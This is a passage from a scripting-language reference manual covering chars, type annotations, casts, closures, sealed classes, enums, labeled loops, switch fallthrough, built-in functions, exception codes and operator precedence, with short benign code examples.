- **Code-point index** - the Nth Unicode scalar value. Used by `String.Utf8GetCharAt`, `String.Utf8Substr`, `String.Utf8ByteIndexOf`. Range `0..String.Utf8Length(s)`.

Use `String.*` UTF-8 helpers for correct Unicode handling. Standard string indexing (`s[i]`) returns bytes, not characters.

Char

`char` holds one Unicode code point, 0–0x10FFFF. `char(x)` and `Char.FromInt(x)` create one from an integer; a value outside that range gives U+FFFD, the replacement character, on every platform.

Character escapes in a `'...'` literal denote **one code point**: `'\n'`, `'\t'`, `'\0'`, `'\xHH'` (U+00HH), `'\uXXXX'`, and `'\u{H..H}'` (up to U+10FFFF). `'\xHH'` is a code point, not a raw byte - `'\xE0'` is U+00E0 (`'à'`), not a lone byte.

Arithmetic with `char`:

- `char + char` and `char + string` **concatenate** into a `string` (each char contributes its UTF-8 encoding): `'a' + 'b'` is `"ab"`, and `'a' + 1` is **not** used for concatenation.
- `char + int` (and other numeric operators) treat the char as its integer code point: `'a' + 1` is `98`, `'z' - 'a'` is `25`.

Bool

Falsy values: `nil`, `false`, `0`, `0.0`, `""`, `'\0'`, empty arrays and empty objects. Everything else is truthy.

Type Annotations

Type annotations are optional; unannotated code works unchanged. A value the analyzer can prove has the wrong type is a compile error (1000). A value whose type is only known at run time is checked where it enters an annotation - see Run-time checks.

Annotation Syntax

```
// Parameter types only
fn greet(name: string) { ... }

// Return type only
fn add(a, b): int { ... }

// Full signature
fn calculate(x: int, y: int): int { return x * y; }

// Mixed — some typed, some not
fn format(template: string, value) { return template + str(value); }
```

Type Keywords

Primitive:

Keyword	Runtime Type	Notes
`int`	Integer	Full int64; tagged immediate for $\|x\| < 2^{60}$
`float`	Float	64-bit IEEE-754
`number`	int or float	Shorthand for `int|float`
`string`	String	UTF-8 text
`bool`	Boolean	true / false
`char`	Char	32-bit codepoint
`nil`	Nil	Null / absent

Collection:

Keyword	Runtime Type
`array`	Dynamic array
`object`	Key-value hashmap

Execution:

Keyword	Runtime Type
`fn`	Any callable: function, closure, bound method, builtin or FFI function
`fiber`	Cooperative coroutine
`class`	Class definition

Keyword	Runtime Type
`instance`	Class instance

Special:

Keyword	Meaning
`any`	Accepts any type - disables checking for that parameter
`stream`	File / stream handle
`block`	Binary data buffer
`pointer`	Runtime pointer (FFI)

Union Types

Multiple acceptable types separated by `|`:

```
fn findUser(id: int): object|nil { ... }
fn abs(n: int\|float): int\|float { ... }

// 'number' is shorthand for int\|float
fn abs(n: number): number { ... }
```

The checker validates that provided values match **at least one** type in the union.

Array Type Annotations

Wrap an element type in `[...]` to annotate an array variable or parameter:

```
let scores:[int] = [10, 20, 30];
let names:[string] = ["alice", "bob"];

fn sum(values:[int]): int { ... }
fn scale(m:[[float]], k: float): nil { ... }  // a matrix: rows of [float]
```

The element type is checked by the analyzer; what a typed array enforces at run time is listed under Run-time checks. `[[T]]` with `T` one of `int`, `float`, `char` or `bool` is a matrix: an array whose elements are `[T]` arrays, so `m[i]` is a `[T]` row and `m[i][j]` a `T`. Any other array of arrays (`[[object]]`, `[[string]]`, deeper nesting) is a plain `array`. The `[T]` form can appear anywhere a plain type name is valid, including unions:

```
let data:[int]|nil = nil;
```

Optional Parameters

Append `?` directly after the parameter name to mark it as optional. The caller may omit trailing optional arguments; the VM automatically passes `nil` for each one not provided.

```
fn greet(name?: string)           { ... }  // name is nil if omitted
fn log(msg: string, level?: int)  { ... }  // level is nil if omitted
```

```
fn tag(a: string, b?, c?: string)  { ... }  // b is any?, c is string?
```

Rules:

- `?` goes on the **name**, before the `:` - `x?`, `x?: int`, both valid. `x: int?` is not valid.
- Optional parameters must trail all required ones.
- Omitted arguments always arrive as `nil` - use `??` to substitute a default inside the function body.
- Type checking still applies for arguments that *are* provided.
- A `nil` argument to a *required* parameter typed `int`, `float`, `char` or `bool` arrives as that type's zero: `0`, `0.0`, `'\0'`, `false`. Scalars are not nullable; a parameter of any other type holds `nil` as a value. Declare the parameter `x: int|nil`, or make it optional (`x?: int`), to receive the `nil` itself.

```
fn greet(name?: string) {
    Console.WriteLine("Hello " + (name ?? "stranger"));
}

greet("World");  // Hello World
greet();         // Hello stranger
```

Variable Type Annotations

Form	Scope	Notes
`let name = expr`	Local (block / function)	Cannot be used at module top level
`var name = expr`	Local (block / function)	Identical to `let`
`const name = expr`	Local or global	Immutable binding
`global name = expr`	Module (global)	Accessible from all scopes in the file. Redeclaring in the same file is a compile error, and so is redefining one from a `VM.Eval` or `VM.Compile` unit (1004); another module that defines the same name warns and rebinds
`global name:type = expr`	Module (global)	Type-annotated global

Variables can be optionally annotated with a type at declaration time using `let name:type = value`. Once annotated, only values of that type may be assigned.

```
// Inside a function - use let/var:
let y:int = 2;
y = "test";         // Error - y declared as int

let i:instance = nil;
i = new MyClass();  // OK - instance, string, object, array may be nil

let scores:[int] = [1, 2, 3];  // array of int

// At module level - use global:
```

```
global counter:int = 0;
global config:object = { debug: false };
```

Loop variables

A loop variable is typed without an annotation. An `iter` variable is an `int`. A `foreach` variable takes the element type of its iterable: `int`, `float`, `char` or `bool` over an `[int]`, `[float]`, `[char]` or `[bool]` array, a `[T]` row over a `[[T]]` matrix, and `char` over a `string` (one per byte); over anything else - an untyped array, an object, a collection - it is dynamic. The second variable of `foreach (v, i in xs)` is an `int` index over any array or a string. A loop variable cannot be assigned (`=`, `+=`, `++`, ...), but the value it names is not frozen: `foreach (p in points) { p.x += 1; }` updates every point, and an element of an array variable can be written. It belongs to the loop body with or without braces, so an outer variable of the same name is shadowed, not reused:

```
fn Total(xs: [int]): int {
    let out: [int] = [];
    foreach (x in xs) { Array.Append(out, x * 2); }   // x is an int
    var s = 0;
    foreach (x, i in out) s += x * i;                  // x and i are ints
    return s;
}
```

Run-time checks

The analyzer types every read of an annotated variable by its annotation, and the compiler specialises on that type. A value whose type the analyzer cannot know - an unannotated parameter, a property of an untyped object, the result of an unannotated function - is therefore checked as it is stored in an annotated variable (`let`, `global`, `=`, a compound `+=`, `??=`) or returned from a function with an annotated return type:

```
fn Parse(o): int {
    let n: int = o.count;   // checked here
    return o.total;         // and here
}
```

The rules are those of typed fields (see Class checks): an `int` stored in a `float` variable is converted to float and a `char` in an `int` variable to its code point; `nil` fits a reference type (string, array, object, instance, ...) or a type that names it (`int|nil`); any array fits an array type; anything else must be of the annotated type. A misfit raises `TypeMismatch` (22) - `Variable 'n' must be int, got string` or `Return value of 'Parse' must be int, got string` - and the variable keeps its old value. A value whose type is known needs no run-time check, except that a known `int` bound for a `float` slot, or a known `char` for an `int` slot, is converted on the way in - a literal by the compiler. A variable a cast has retyped is not checked at all. JIT-compiled code makes the same check.

Type Cast Expression

A **type cast** is a compile-time and (for scalar types) runtime type coercion. Syntax: `(type)expr`

```
let arr = (array)Object.Clone(original);
let n   = (int)3.9;       // - 3 (truncates)
let s   = (string)42;     // - "42"
let b   = (bool)0;        // - false
```

Supported Cast Types

Type	Kind	Runtime effect
`int`	Value	Conversion - truncates float, converts string/bool/char
`float`	Value	Conversion - widens int to double
`char`	Value	Conversion - converts int/string to a single character value
`string`	Value	Conversion - any value - string representation
`bool`	Value	Double logical-NOT (`!!x`) - truthy - `true` , falsy - `false`
`u8` `u16` `u32` `i8` `i16` `i32`	Value	Conversion - as the built-in of the same name (Bitcast / Narrowing): `(u8)300` is `44` , `(i8)200` is `-56`
`u64` `i64`	Value	Conversion - as `int`
`array`	Hint	No bytecode emitted - analyzer type update only
`object`	Hint	No bytecode emitted - analyzer type update only
`class`	Hint	No bytecode emitted - analyzer type update only
`instance`	Hint	No bytecode emitted - analyzer type update only
`block`	Hint	No bytecode emitted - analyzer type update only
`stream`	Hint	No bytecode emitted - analyzer type update only

Analyzer Behaviour

- The inferred type of `(T)expr` is always `T` , regardless of what `expr` would otherwise infer to.
- If the cast is the RHS of a `let` / `var` declaration or assignment, the variable's tracked type is updated to `T` immediately. All subsequent uses of that variable are checked against the new type.
- The retype starts at the cast. A declaration or store before it is still checked against the variable's annotation, and a read inside a loop that a later iteration reaches with the old value sees both types.
- Stores into a variable a cast has retyped are not checked against its annotation.
- No warning is emitted for type changes caused by a cast - the programmer's intent is explicit.

Compiler Behaviour

- Value casts (`int` , `float` , `char` , `string` , `bool` and the sized ints) compile the inner expression then emit one conversion opcode.
- Hint casts compile only the inner expression - zero extra bytecode.
- Cast nodes are fully transparent to the optimizer and inliner.

Disambiguation

The parser uses two-token lookahead to distinguish a cast from a grouped expression:

```
(int)x        // cast — type keyword followed immediately by ')'
(int + 1)     // grouped expression — not a cast
(myVar)expr   // grouped expression — myVar is not a cast-type keyword
```

Only the type names listed above are recognised as cast targets. All other identifiers inside `(...)` are treated as grouped expressions.

Closures

A **closure** is an anonymous function that captures variables from its enclosing scope. Captured variables are snapshotted **by value** at the moment the inner function is created (i.e., when the enclosing function executes the expression `fn(...) { ... }`).

What can be captured

Both parameters and body-local variables are eligible for capture, at **any** enclosing depth - a lambda nested inside another lambda reaches the outermost function's variables too. Each level snapshots what the levels inside it read, so the value a nested closure sees is the one that was live when its enclosing closure was created. Module-level globals are always accessible directly and are not captured - they are read live from the global environment on each access.

```
fn adderFactory(x) {
    return fn() { return fn(n) { return x + n; }; };   // x reaches two levels down
}
Console.WriteLine(adderFactory(10)()(5));   // 15
```

Capture semantics

- **Scalars** (`int`, `float`, `bool`, `string`, `char`, `nil`): snapshot copy. Later changes to the outer variable do not affect the captured value.
- **References** (`array`, `object`, `instance`): reference copy. The closure and the outer scope share the same heap object; mutations are visible on both sides.
- **Assigning** to a captured variable inside the closure changes the closure's own copy only. The new value persists across later calls of that same closure, and the enclosing function never sees it - to share a counter with the outer scope, capture a container (as `makeCounter` below does).

Example

```
fn makeAdder(x) {
    return fn(n) { return x + n; };
}

let add5 = makeAdder(5);
Console.WriteLine(add5(3));   // 8
```

```
fn makeCounter() {
    let state = [0];
    return fn() {
        state[0] = state[0] + 1;
        return state[0];
```

```
    };
}

let c = makeCounter();
Console.WriteLine(c());  // 1
Console.WriteLine(c());  // 2
```

Loop capture

Each loop iteration creates a new closure with its own snapshot of the loop variable:

```
fn makeFns() {
    let funcs = [];
    iter(i from 0 to 3) {
        Array.Append(funcs, fn() { return i; });
    }
    return funcs;
}

let fs = makeFns();
Console.WriteLine(fs[0]());  // 0
Console.WriteLine(fs[2]());  // 2
```

Runtime representation

A closure is a cloned function object with a private environment table that holds the captured names and values. At call time, the VM sets this table as the active environment, so captured names resolve before the module globals. The `function` type applies to both plain functions and closures; `VM.GetFunctionInfo` returns the same fields for both.

Capturing `this`

An anonymous function created inside an instance method captures the receiver too, so it can read and write fields (`this.field`) after the method has returned. It does so both when it writes `this` and when it names one of the class's **own** fields or methods with no receiver, which means the same thing inside a lambda as it does in the method body:

```
class Counter {
    var n = 0;
    fn stepper() {
        return fn() { n += 1; return n; };   // `n` is this.n, not a global
    }
}
```

A parameter or a `let` of the same name shadows the member, as always. A closure may capture at most **64** distinct outer variables.

Sealed instance fields

Instances are **sealed**: every instance field must be declared with `let` or `var` in the class body. Writing to a field that was never declared is a **compile error** (`Exception.FieldUndeclared`, code 24):

```
class Point {
    let x = 0;
    let y = 0;
    fn Constructor(a, b) {
        this.x = a;      // ok - declared
        this.y = b;      // ok - declared
        this.z = 0;      // COMPILE ERROR: 'this.z' is not declared in class 'Point'
    }
}
```

This catches typo'd field names at compile time and lets the VM lay out instances as fixed-size slot arrays. The full field set is the class's own declared fields plus every field inherited from a resolvable base class.

Leniency across module boundaries. If a class extends a base that is not visible in the current compilation unit (an imported base class), its inherited field set cannot be seen, so the seal is relaxed for that subclass: undeclared `this.<field>` writes are allowed and validated by the VM's runtime guard instead of at compile time.

Object initializer blocks

A `new` expression may carry a trailing block that runs on the fresh instance right after the class's own `Constructor`:

```
class Point {
    let x = 0;
    let y = 0;
    fn Constructor(a) { this.x = a; }
    fn scale(f) { return this.x * f; }
}

let p = new Point(3) {
    y = scale(2);       // 6 - `this` is the new instance
};
```

The block is a constructor body for the class being constructed, not an expression list: it is compiled as an anonymous method of that class and invoked on the instance, so inside it

- `this` is the new instance, whatever class encloses the `new`;
- a bare name is one of that class's **own** fields or methods when it matches one (`y = scale(2)` means `this.y = this.scale(2)`) - an inherited member needs an explicit `this.`, exactly as in a method body;
- a name from the enclosing scope is captured **by value**, like a closure's capture, and a field of the same name wins over it;

- `let` declares a block-local, and statements (`if`, loops, `try`) are all allowed. `return` ends the block early; the block's value is discarded.

Writing to an undeclared field is rejected the same way as in a method (`Sealed instance fields`, above). When the class is not visible in this compilation unit - imported, or constructed through a computed expression - its member set is unknown: every bare **write** is compiled as a field write and left to the VM's runtime guard, while bare **reads** resolve as globals. `n++` and `n--` are writes and follow that rule exactly like `n += 1`.

The block runs as an ordinary call on the current fiber, so it may call, yield and raise; an exception thrown inside it propagates out of the `new` expression. Because the block has a frame of its own, a call by the name of the function that *contains* the `new` is a plain call to that function - it does not re-enter the block.

Inheritance and `super`

A subclass reaches its base class through `super`:

- `super(args)` inside `Constructor` chains to the base constructor. It resolves statically on the defining class's base, so it works even when the subclass overrides the constructor.
- `super.method(args)` calls the base class's version of a method statically ("invokespecial"), letting an overriding method reach the one it overrides.

```
class Animal {
    let name = "";
    fn Constructor(n) { this.name = n; }
    fn describe() { return "animal " + this.name; }
}
class Dog : Animal {
    fn Constructor(n) { super(n); }               // chain to Animal.Constructor
    fn describe() { return super.describe() + " (dog)"; }
}
```

`enum` declarations

An `enum` declares a named group of related integer constants:

```
enum Color { Red, Green, Blue }          // Red = 0, Green = 1, Blue = 2
```

Members are numbered from `0` and each unlisted member continues from the previous one. An explicit value restarts the sequence from there:

```
enum Status { Ok = 200, Created, Accepted, NotFound = 404, Gone }
// Ok = 200, Created = 201, Accepted = 202, NotFound = 404, Gone = 405
```

A trailing comma after the last member is allowed. `enum Name { }` is legal and declares an empty object.

Values must be integer literals, optionally negated (`A = -1`). An expression (`A = 1 + 2`) or a reference to another member (`B = A`) is rejected at compile time - "Enum values must be integer literals". Values are `int32`; auto-numbering past `2147483647` wraps.

Enums are folded at compile time. The declaration lowers to a `const` object whose members are integer literals, so a member read costs nothing at run time and carries the `int` type through inference:

```
enum Color { Red, Green, Blue = 10, Cyan }

Console.WriteLine(Color.Blue);        // 10
Console.WriteLine(Color.Cyan);        // 11  - continues from Blue
type(Color.Blue) == Type.Int;         // true  - members are plain ints
type(Color)      == Type.Object;      // true  - the enum itself is an object
Color.Blue + 1   == Color.Cyan;       // true  - full int arithmetic
```

Because members are ordinary `int` values they work anywhere an `int` does - arithmetic, comparison, array indices, and `case` labels:

```
switch (state) {
    case Color.Red:  return "stop";
    case Color.Blue: return "go";
    default:         return "unknown";
}
```

Scope and lifetime. An `enum` may be declared at the top level or inside a function, where it is scoped to the enclosing block like any other declaration. It can be exported and imported like any other symbol, and imported members remain usable as `case` labels:

```
// Palette.fls
enum Color { Red, Green, Blue = 10, Cyan }
export { Color };

// consumer.fls
import { Color } from library("Palette", "1.0");
Console.WriteLine(Color.Cyan);        // 11
```

Limitations.

- The enum object is const: assigning to a member (`Color.Red = 5`) raises `Invalid assignment of const-object` (code 19) at run time.
- Reading a member that does not exist yields `nil` rather than a compile-time error - member names are not checked against the declaration.
- A duplicate member name is a compile error.
- There is no reverse mapping - `str(Color.Red)` is `"0"`, not `"Red"`.
- A `switch` whose labels are all members of one enum and that has no `default` must handle every member, or the analyzer warns (code 2021, `switch-not-exhaustive` - see R12 - Static Analyzer).

Labeled loops

An identifier followed by `:` may label a `while`, `do ... while`, `for`, `iter`, or `foreach` loop, including loops with a single-statement body:

```
outer: for (let i = 0; i < 10; i++) {
    iter (j from 1 to 10) {
        if (j == 2) continue outer;
        if (i == 5) break outer;
    }
}
```

`break outer;` exits the named enclosing loop. `continue outer;` advances that loop: it tests the condition of `while` or `do ... while`, runs the increment of `for` (or its condition when no increment exists), advances `iter`'s counter, or advances `foreach`'s cursor.

Labels have their own namespace and must be ordinary identifiers. Two simultaneously enclosing loops cannot share a label; sibling loops may reuse one. Unknown or inaccessible labels and duplicate enclosing labels produce control-flow error 1006. Labels cannot cross function/lambda or object initializer boundaries, or jump out of a `finally` body. A loop declared inside a `finally` can be targeted from within that body. Exiting `try` or `catch` runs the intervening `finally` clauses before the jump.

Unlabeled `break` still exits the nearest loop or switch, and unlabeled `continue` advances the nearest loop. Labels on ordinary blocks, switches, and other statements are syntax errors. Arbitrary `goto` is not supported.

`switch` matching

`switch` compares the scrutinee against each `case` label:

- A **value** label matches by equality (`==`). Multiple labels may share a body.
- A **class** label - `case SomeClass:` - matches by type (`is` / instanceof, subclass-aware). Imported classes match exactly like local ones. An identifier whose type cannot be resolved falls back to value equality (with a compiler warning).
- Labels are tried in source order and the **first** match wins. A subclass instance matches its base class's label too, so `case Base:` written before `case Derived:` makes the `Derived` arm unreachable, and the compiler warns (2014). Put the most specific class first.
- `default` runs when no case matches, and also when an earlier case falls into it (see below).

Once a case matches, control enters that body and **falls through** into every following body, exactly as in C. End a case with `break` (or `return` / `throw` / `continue`) unless fallthrough is intended:

```
switch (x) {
    case 1: s = s + "one";          // falls through
    case 2: s = s + "two";          // falls through
    default: s = s + "other";
}
// x == 1 -> "onetwoother"     x == 2 -> "twoother"     x == 9 -> "other"
```

Consecutive labels with no statements between them share one body, and so do comma-separated labels (`case Square, Rect:`) - that is the idiomatic way to match several values without relying on fallthrough:

```
switch (shape) {
    case Circle:            return "round";      // type match (instanceof)
```

```
    case Square: case Rect: return "cornered";   // value/type, shared body
    default:                return "unknown";
}
```

Unlabeled `break` leaves the switch; `break label` can exit a named enclosing loop. `continue` inside a switch targets the enclosing loop, not the switch.

`default` is always the last body. Unlike C, its position in the source does not affect the fallthrough order - the compiler emits every `case` body in source order and `default` after all of them. So a `default` written in the middle still runs *after* the final case body:

```
switch (x) {
    case 1: s = s + "1";
    default: s = s + "D";            // emitted last, whatever its position
    case 2: s = s + "2";
}
// x == 1 -> "12D"   (C would give "1D2")
```

With optimizations on, a switch whose labels are all integer literals within the 32-bit range, spanning at most 255 values and no more than twice the number of labels (`case 0: case 1: case 3:` qualifies, `case 1: case 100:` does not), compiles to a **jump table** (one O(1) indexed branch) instead of a comparison chain. Both lowerings behave identically, fallthrough included, because the table picks the case `==` would: a char or bool matches its integer value (`true` matches `case 1`), an integral float matches (`3.0` matches `case 3`), and a non-integral float such as `1.5`, a string or `nil` matches no case.

R3 - Built-in Functions

These functions are VM instructions - available everywhere, no namespace required.

Type Information

Function	Description
`type(x)`	Returns the runtime type as an `int` bitmask. Compare with `Type` module constants: `type(x) == Type.Int`.
`is_nil(x)`	Returns `true` if `x` is `nil`.

Type Conversion

Function	Converts to	Notes
`int(x)`	Integer	Truncates floats toward zero; `NaN` gives `0` and a value beyond the `int` range saturates to `Math.Int64Max` / `Math.Int64Min`. A numeric string is parsed the same way (optional sign, decimal digits, saturating on overflow)
`float(x)`	Float	Widens int to double
`str(x)`	String	Converts any value to string. An array gives `<array[n]>`, an object `<object>`, a class instance `<ClassName>` (a collection `<Stack[n]>`), a class `<class ClassName>`.
`char(x)`	Char	Unicode code point; outside 0–0x10FFFF gives U+FFFD

Bitcast / Narrowing

Function	Result type	Wraps on overflow
`u8(x)`	unsigned 8-bit (0–255)	Yes
`i8(x)`	signed 8-bit (–128–127)	Yes
`u16(x)`	unsigned 16-bit	Yes
`i16(x)`	signed 16-bit	Yes
`u32(x)`	unsigned 32-bit	Yes
`i32(x)`	signed 32-bit	Yes

```
let x = u8(300);   // - 44 (wraps)
let y = i8(-200);  // - 56 (wraps)
let b = (u8)300;   // - 44: the cast is the same conversion
```

Each converts its argument as `int(x)` does, then keeps the low 8, 16 or 32 bits; the signed forms sign-extend them. A value `int(x)` rejects (an array, an object) converts to `0`, and so does `nil` - unlike a mask, where `nil & 255` is `nil`.

Length

```
len([1, 2, 3]);        // 3 (array element count)
len("hello");          // 5 (byte count, not char count)
len({ a: 1, b: 2 });   // 2 (property count)
```

Guard

```
guard(expr)   // Raises Exception.GuardCheck if expr evaluates to nil
```

Weak handle

```
this.parent = Weak.Create(expr);   // a handle on expr that does not keep it alive
```

`Weak.Create(expr)` returns a handle that does not keep its target alive. Read the value back with `Weak.Get`, which yields `nil` once the target is gone - see the `Weak` module.

R4 - The Exception class

`Exception` is a built-in base **class**. Every thrown value - whether from a user `throw` or an internal VM error (index-out-of-bounds, divide-by-zero, …) - is an `Exception` (or subclass) instance.

Construct / throw:

```
throw new Exception(code, msg);   // explicit
throw(code, msg);                 // shorthand - desugars to new Exception(code, msg)
```

```
class NetworkError : Exception {}  // subclass; new NetworkError(503, "down") inherits the constructor
```

Constructor: `Exception(code:int, msg:string)` - sets `Code`, `Error`, and captures `StackTrace`. A subclass with its own constructor calls it as `super(code, msg)`.

Instance fields:

Field	Type	Description
`Code`	int	Numeric error code (see the constants below)
`Error`	string	Human-readable message
`StackTrace`	array	Call frames at throw time, as strings

Instance methods:

Method	Signature	Description
`ToString`	`ToString() - string`	`"<TypeName> (code N): message"` (uses the subclass name)
`Name`	`Name() - string`	The exception's type name (its class name)
`StackTraceString`	`StackTraceString() - string`	`StackTrace` joined into one block of text

Generic class introspection works too (`Class.InstanceOf(e, Exception)`, `Class.Name(e)`, …). For type dispatch use `e is SomeError` or `switch (e) { case SomeError: … }`. See the language guide's *Exceptions* section for full semantics.

Error-code constants

Exposed as **static members of the `Exception` class** (`Exception.RuntimeError`, …). Each has a numeric code (stable ABI - must not be renumbered) used as the `Code` of the raised exception.

Constant	Code	Description
`Exception.NullPtr`	`0`	Null-pointer access
`Exception.DivByZero`	`1`	Division by zero
`Exception.ModByZero`	`2`	Modulo by zero
`Exception.InvalidArguments`	`3`	Invalid function arguments
`Exception.OutOfBounds`	`4`	Index out of bounds
`Exception.IOError`	`5`	I/O error (file, stream, socket)
`Exception.RuntimeError`	`6`	General VM runtime error
`Exception.InvalidState`	`7`	VM or object in invalid state
`Exception.OutOfMemory`	`8`	Memory allocation failed
`Exception.InvalidMemoryAccess`	`9`	Invalid memory access
`Exception.SizeLimit`	`10`	Container or allocation size limit exceeded
`Exception.GuardCheck`	`11`	`guard()` failed - value was nil
`Exception.StackError`	`12`	Stack overflow / underflow / corruption
(reserved)	`13`	Intentionally unused
`Exception.UnsafeOperation`	`14`	Unsafe operation blocked (requires `--unsafe`, or `--allow-ffi` for `Ffi.*`)
`Exception.NestingError`	`15`	Excessive recursion or nesting depth
`Exception.IllegalInstruction`	`16`	Invalid bytecode instruction
`Exception.ExecOutOfMemory`	`17`	Out of memory during execution
`Exception.OutOfFibers`	`18`	Fiber limit reached
`Exception.ConstAssign`	`19`	Attempt to assign to a constant
`Exception.ChecksumError`	`20`	FFI shared-library SHA-256 verification failed (`Ffi.Load`)

Constant	Code	Description
`Exception.ClassNonStaticCall`	21	Non-static method called without instance
`Exception.TypeMismatch`	22	Value incompatible with a typed-array element type
`Exception.AssertionFailed`	23	`Debug.Assert` / assertion failed
`Exception.FieldUndeclared`	24	Write to an instance field not declared with `let` / `var` (see *Sealed instance fields*)
`Exception.ModuleDenied`	25	A built-in module the embedding host withheld. Distinct from `UnsafeOperation`: no runtime switch enables it and only the host can change it (see the Embedding guide §10)
`Exception.Cancelled`	26	`Fiber.Cancel` unwinding the fiber. **Not catchable** - see the note below
`Exception.Interrupted`	27	Reserved for an embedding host stopping a script. Nothing raises it today

Design notes:

- `Cancelled` (26) is *uncatchable*, and `Interrupted` (27) is reserved for the same treatment. A cancellation runs every enclosing `finally` on its way out, so a fiber still closes its files and releases its locks, but no `catch` clause is offered the value and the fiber always ends. The constants exist so an `await`-side handler, which *does* see them, can tell a cancellation from a failure - never so that the fiber being stopped can refuse.
- Exceptions 16, 20 indicate corrupted or hostile bytecode - treated as hard failures.
- `OutOfMemory` (8) and `ExecOutOfMemory` (17) are separate to enable more precise diagnostics.
- When an exception fires, the current fiber unwinds to the nearest enclosing error boundary (`try` / `catch`). If a boundary catches it, the fiber resumes there, other fibers continue, and the VM stays alive. If the exception escapes the top of the fiber with no handler, the VM prints the trace and exits the whole process with the exception's code (see R9).

R5 - Operator Precedence

Operators listed from **highest** (evaluated first) to **lowest** (evaluated last).

Level	Category	Operators	Associativity
1	Primary	literals, identifiers, `(...)`	N/A
2	Postfix	`obj.prop` `arr[i]` `fn(...)` `x++` `x--`	Left
3	Power	`^^`	Right
4	Prefix Unary	`+x` `-x` `!x` `~x` `++x` `--x` `await` `new` `guard()`	Right
5	Multiplicative & Bitwise	`*` `/` `%` `<<` `>>` `>>>` `&` `|` `^`	Left
6	Additive	`+` `-`	Left
7	Comparison	`<` `<=` `>` `>=`	Left
8	Equality	`==` `!=` `≈` `in` `is`	Left
9	Logical AND	`&&`	Left
10	Logical OR	`||`	Left
11	Null Coalescing	`??`	Left
12	Conditional	`? :`	Right
13	Assignment	`=` `+=` `-=` `*=` `/=` `%=` `&=` `|=` `^=` `<<=` `>>=` `>>>=` `??=` `^^=`	Right

Key rules:

- `.`, `[i]` and a call are nil-safe: a `nil` object yields `nil` through the whole postfix chain, so `user.address.city` is `nil` for a `nil` user and `cfg.items[0] ?? 3` falls through to `3`. A call on `nil` - a method on a `nil` receiver, or a `nil` value called directly - yields `nil` too, with its arguments still evaluated; the direct form prints a warning. A `foreach` over `nil` runs its body zero times. `guard(x)` raises instead where a `nil` is an error.

- `a[i]`, `s[i]` and `blk[i]` take an `int` index. A negative index counts from the end (`a[-1]` is the last element, `a[-len]` the first); an index before the start or at/after the end raises `Exception.OutOfBounds`. String indexing is by byte, not by code point, and yields a `char` holding the byte value (0-255). Block indexing is by element and yields an `int`: unsigned for 1-, 2- and 4-byte elements, the raw 64-bit value for 8-byte ones, so a byte written as `-1` reads back as `255` (`Buffer.ReadI8At` / `ReadI16At` / `ReadI32At` read the signed value). Writing into a typed array (`[int]`, `[float]`, ...), by index, with `Array.Append` or with `+`, raises `Exception.TypeMismatch` unless the value has the element type - a float array also takes an `int`, widened to `float` on the way in. A write past the end of any array grows it, and the gap reads as the element type's zero, the value `Array.Create` fills in: `0`, `0.0`, `'\0'`, `false` or `""` in an `[int]`, `[float]`, `[char]`, `[bool]` or `[string]` array, `nil` in any other.

- `[int]` and `[float]` arrays store their elements as raw 64-bit values, so an `[int]` element holds the full `int` range and the JIT reads and writes both directly. A variable, parameter or field declared `[int]` or `[float]` must therefore hold an array of exactly that type: a typed literal (an annotated `let` or field types its literal, `[]` included), `Array.Create(n, Type.Int)` / `Type.Float`, or an array that already has the type. Assigning an untyped array to such a declaration is not supported.

- A `[[T]]` matrix holds only arrays of exactly type `[T]`: appending, inserting, filling or storing anything else - an untyped array, a `[T]` of another element type, `nil` - raises `Exception.TypeMismatch`, and so does a store more than one past the end, whose gap would hold `nil` rows. An array literal is built as a matrix wherever a `[[T]]` is expected (a declaration, a store, an argument, a returned value), its row literals as `[T]`; `Array.Clone`, `Object.Clone` and the slicing and filtering functions keep the type. A field declared `[[T]]` accepts only a `[[T]]` matrix. A parameter declared `[[T]]` also takes another array of arrays, but compiled code then runs only for real matrices.

- An assignment is an expression whose value is the value stored: `a = b = 5` sets both, `let c = (a = 3)` and `f(a = 4)` are legal. `++` / `--` are statements and produce no value. Rule 1013 still rejects an assignment as an `if` / `while` / `for` condition, where it is almost always a typo for `==`.

- `++` / `--` apply to variables, fields and elements alike: `o.n++`, `a[i]--`.

- `??=` assigns only when the target reads `nil`, and its right side is **not evaluated at all** otherwise - on every target: `x ??= f()`, `o.k ??= f()`, `a[i] ??= f()`, `this.field ??= f()` and a global alike. This is what makes `cache[key] ??= expensive()` an idiom rather than a trap. The target expression itself is evaluated once either way, so `items[next()] ??= v` advances `next()` exactly once.

- **Evaluation order is left to right**, everywhere: both operands of every binary operator (`in` and `is` included), call and `new` arguments, array elements, object properties and interpolated string parts. `[f(), g()]` calls `f` before `g`; `k in c` evaluates `k` first. Only `&&`, `||`, `??` and `?:` skip an operand, as described below.

- `&&` binds tighter than `||` - `a || b && c` means `a || (b && c)`.

- `&&` / `||` short-circuit and always yield a **bool**: `a && b` is `false` when `a` is falsy (and `b` is not evaluated), otherwise the truthiness of `b`; `a || b` is `true` when `a` is truthy (and `b` is not evaluated), otherwise the truthiness of `b`. (`nil` and `0` are falsy.) For a fallback value use `??`, which yields an operand: `port ?? 8080`.

- Shifts operate on `int64` and mask the shift count to `& 63`, so a count `>= 64` wraps into range. `<<` is a logical left shift; `>>` is an **arithmetic** right shift (the sign bit is replicated), so `-8 >> 1` = -4. `>>>` is a **logical** right shift of the same 64 bits (zero bits shift in), so `-8 >>> 1` = 9223372036854775804 and `-1 >>> 60` = 15; unlike JavaScript there is no 32-bit truncation.

- `??` (null coalescing) is lower than all arithmetic - `x + y ?? z` means `(x + y) ?? z`.

- `x in c` is containment. For an object it is property presence (`"name" in obj`), for an array it is an element equal to `x` (deep equality, same type: `1 in [1.0]` is `false`), and for a string it is a substring test: `"ab" in "xaby"` and `'a' in "xaby"` are `true`, `"zz" in "xaby"` is `false`, and the empty string is contained in every string. Any other combination is `false`.

- `x is C` is true when `x` is an instance of class `C` or of a class derived from it (for a class value `x`: `C` itself or a subclass). With a right operand that is not a class it compares identity, so `x is nil` is true only for `nil`. Two equal numbers may or may not be identical - small ones are, large ones are not, and where the line falls depends on the platform - so compare numbers with `==`. It is not a type test: `x is int` compares `x` with the conversion function `int` (warning 2022) - use `Type.IsInt(x)` or `type(x) == Type.Int`.

- Division `/` and power `^^` produce `int` when both operands are `int` (division truncates toward zero; an integer power is exact and wraps on overflow like `*`, and a negative exponent gives 0 except for the bases 1 and -1, so `2 ^^ -1` = 0), and `float` when either operand is `float`. Force a float result with a float operand: `a / (b * 1.0)` or `float(a) / b`.

